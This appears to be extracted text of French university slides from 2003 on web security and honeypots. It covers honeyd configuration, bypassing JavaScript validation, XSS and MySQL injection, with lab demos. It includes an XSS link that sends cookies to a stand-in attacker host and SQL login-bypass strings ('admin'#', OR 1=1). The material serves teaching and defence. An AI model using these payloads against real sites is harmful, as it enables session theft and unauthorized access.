Sécurité des systèmes d’information: Web Security & Honeypots

Lloyd DIZON 11 décembre 2003 Transmission de données, EIG

1

Objectifs du diplôme/Plan de présentation
• Honeypots
• • • • • Honeyd Bait & Switch (BNS) Contournement de validation javascript Vol de sessions HTTP Cross-site scripting (XSS)

• Securité côté client

• Sécurité plate-forme LAMP
• • Sécurisation des scripts PHP Injection MySQL
2

Honeyd: définition
serveurs web vulnérables Microsoft IIS 5.0, web.sh WIN NT/4 SP5 Boa Web Server, boa_file_retrieval.sh Linux noyau 2.4.16 Apache Server, negative_content.sh Linux noyau 2.4.18

Internet

SuSE 8.0 hôte Honeypot

• simulation d’architectures de systèmes
• • OS Fingerprinting scripts shell
3

• simulation des services

honeyd

arpd

Honeyd: arpd, fichier de configuration
• honeyd.conf (démo 1) :
#créer un chablon pour un serveur create serveur3 #définir personnalité set serveur3 personnality “Linux 2.4.18” #définir réaction par defaut sur port TCP fermé set serveur3 default tcp action reset #définir réaction par defaut sur port UDP fermé set serveur3 default udp action reset #paquets sur port 80 traités par web.sh
add serveur3 tcp port 80 "sh script/http_negative_content.sh”

serveur web vulnérable Apache, httpd_negative_content.sh Linux noyau 2.4.18 cible1: serveur3 IP: 10.1.2.93

#associer chablon à une adr. IP bind 10.1.2.93 serveur3
Internet Explorer honeyd Netcat

Nmap

10.1.0.0/16

10.1.0.0/16

WinXP Portable Hacker IP: 10.1.3.X

Hôte honeypot: V13 IP: 10.1.2.13

arpd

SuSE 8.0

4

Honeyd: architecture interne
Fichier de configuration (honeyd.conf) 2 3 4 Gestion IP 4 2 5 stdin 6 7 TCP UDP ICMP 3 8 stdout

Architecture interne de honeyd

1 1
Internet

Services (scripte de services)

Gestion personnalité

9 4

5

Honeyd: gestion de personnalité
• Empreinte pile réseau de NMAP: nmap.prints • Exemple tests:
FIN port ouvert Pas de réponse(RFC793-TCP) RST(Windows) TCP ISN: • • • Unix: aléatoire Windows: périodique HUBs 3Com: constant
6

Honeyd: script de service
• http_negative_content.sh:
stdin

script de service traitement

stdout

• Comportement:
Etat NORMAL Etat PANNE Répondre : "HTTP/1.1 404 Not Found" Lire requête HTTP

Requête contient une en-tête négative non

oui Lire requête HTTP

Répondre : "HTTP/1.1 404 Not Found"

Répondre : "HTTP/1.1 500 Not Available"

7

Honeyd: démo (1)
Etat NORMAL Etat PANNE Répondre : "HTTP/1.1 404 Not Found" Lire requête HTTP

oui Requête contient une en-tête négative non Requête contient une en-tête négative

serveur web vulnérable Apache, httpd_negative_content.sh

Répondre : "HTTP/1.1 404 Not Found"

Répondre : "HTTP/1.1 500 Not Available"

Linux noyau 2.4.18 cible1: serveur3 IP: 10.1.2.93

Internet Explorer

10.1.0.0/16

WinXP Portable Hacker IP: 10.1.3.X

SuSE 8.0 Hôte honeypot: V13 IP: 10.1.2.13

honeyd

Netcat

Nmap

10.1.0.0/16

arpd

8

Problématique sécurité web
Confiance aux entrées utilisateurs
injection code malicieux Client1 Application web

Renvoi de code malicieux par un site web de confiance Manipulation identificateurs de sessions/cookies Validation des entrées du côté utilisateur avec du javascript

demande document HTML document demandé + code malicieux

Client2

9

Contournement de validation javascript

<form name="formulaire" method="POST" onSubmit="return validerFormulaire()"> <input type="text" name="email"> <input type="text" name="utilisateur"> <input type=submit value="Submit"> </form>
10

Contournement de validation javascript (2) – démo 2
Portable utilisateur: Client

V13: Serveur web validation.py : Application web

Personne: Utilisateur

IE: Navigateur

Achilles: Proxy

1. Saisit l'URL http:// 10.1.2.13/validation.html
2. requête HTTP

3. requête H TTP

4. réponse HTTP: validation.html
5 Interception et modification du code HTML

7. Saisit les données dans le formulaire, clique Submit

6. réponse HTTP: validation.html <form type="POST" onSubmit="return true"> </form>

<form type="POST" onSubmit="return validerFormulaire()"> </form>

pas de validation!!

8. requête POST + données non-validées

9. requête POST + données non-validées

11

Cross-site scripting
• Envoi du code malicieux par un site web de confiance mais qui est vulnérable
3. Renvoi page HTML altérée

Utilisateur

Application web

4. Exécution code injecté

1. Test vulnérabilité
2. Injection du code malicieux

ATTAQUE!

Hacker

12

Cross site scripting (2)
• Injection du code
• • Paramètres accéssibles dans URL
http://siteweb.org/application?var1=valeur

Formulaire web

13

Cross site scripting (3)
• Code malicieux:
• Balises HTML
<object src="audio/vidéo/programme malicieux">

Code javascript

<a href="http://www.google.com" onMouseOver="document.location.replace(‘http://siteméchant/volercooki e.cgi?c=’+document.cookie)"> Google.com </a>

14

Cross site scripting (4)
• Envoi de document HTML contenant code malicieux
• • Par e-mail (forgé) lorsque client consulte la page web altérée

• Exploit
• • Web site defacing Vol de cookies, identificateur de sessions

15

Cross site scripting (5) – démo 3
Portable utilisateur Utilisateur : Navigateur Portable hacker Hacker : Navigateur V12 collect_cookie.py : Dépot: demande cookie envoi cookie test vulnérabilité guestbook.py: Application web V13 donnercookie.py: Application web

injection du code javascript

consulte le guestbook données du guestbook( code injecté est interprété par le navigateur +code injecté ) sur navigateur

code injecté sauvegardé dans la base de donnée

événement : onMouseOver exécution code injecté: envoie cookie sur le dépôt de cookie du hacker

16

Injection MySQL
• Modification de la requête SQL utilisée par l’application écrite en PHP
script PHP: "SELECT id FROM membres WHERE login='$login' AND pass='$pass'" $login, $pass requête POST: $login, $pass document HTML Client Serveur web 17 requête SQL: "SELECT id WHERE login='$login' AND ' pass='$pass" données

BDD MySQL

document HTML daemon web

Injection MySQL (2) – démo 4
• Table membres:
id
1 2 3

login
admin bob alice

pass
4dm1n bob alice

email
admin@email.com bob@email.com alice@email.com

user_level
3 1 1

• •

Requête SQL:
SELECT id FROM membres WHERE nom='$login' AND pass='$pass'

Injection SQL: $login=admin’#
SELECT id FROM membres WHERE nom='admin'#' AND pass=''

Requête SQL effectuée:
SELECT id FROM membres WHERE nom='admin' 18

Injection MySQL (3)
Modification des requêtes SQL:
• • • • des expressions booléennes qui s’évalue à "vraie" des apostrophes ' un caractère de commentaire # une combinaison des expressions ci-dessus
SELECT id FROM members WHERE login='admin' OR 1=1' AND pass=''

19

Conclusion
• Honeypots :
Honeyd administration simple, comportement statique, honeypot à faible intéraction

• Securité web :
Clients web sous le risque mauvaise conception des applications web (pas de filtrage et validation des entrées utilisateur – vulnérabilité n°1 des applications web selon OWASP)

20

Sign up to vote on this title
UsefulNot useful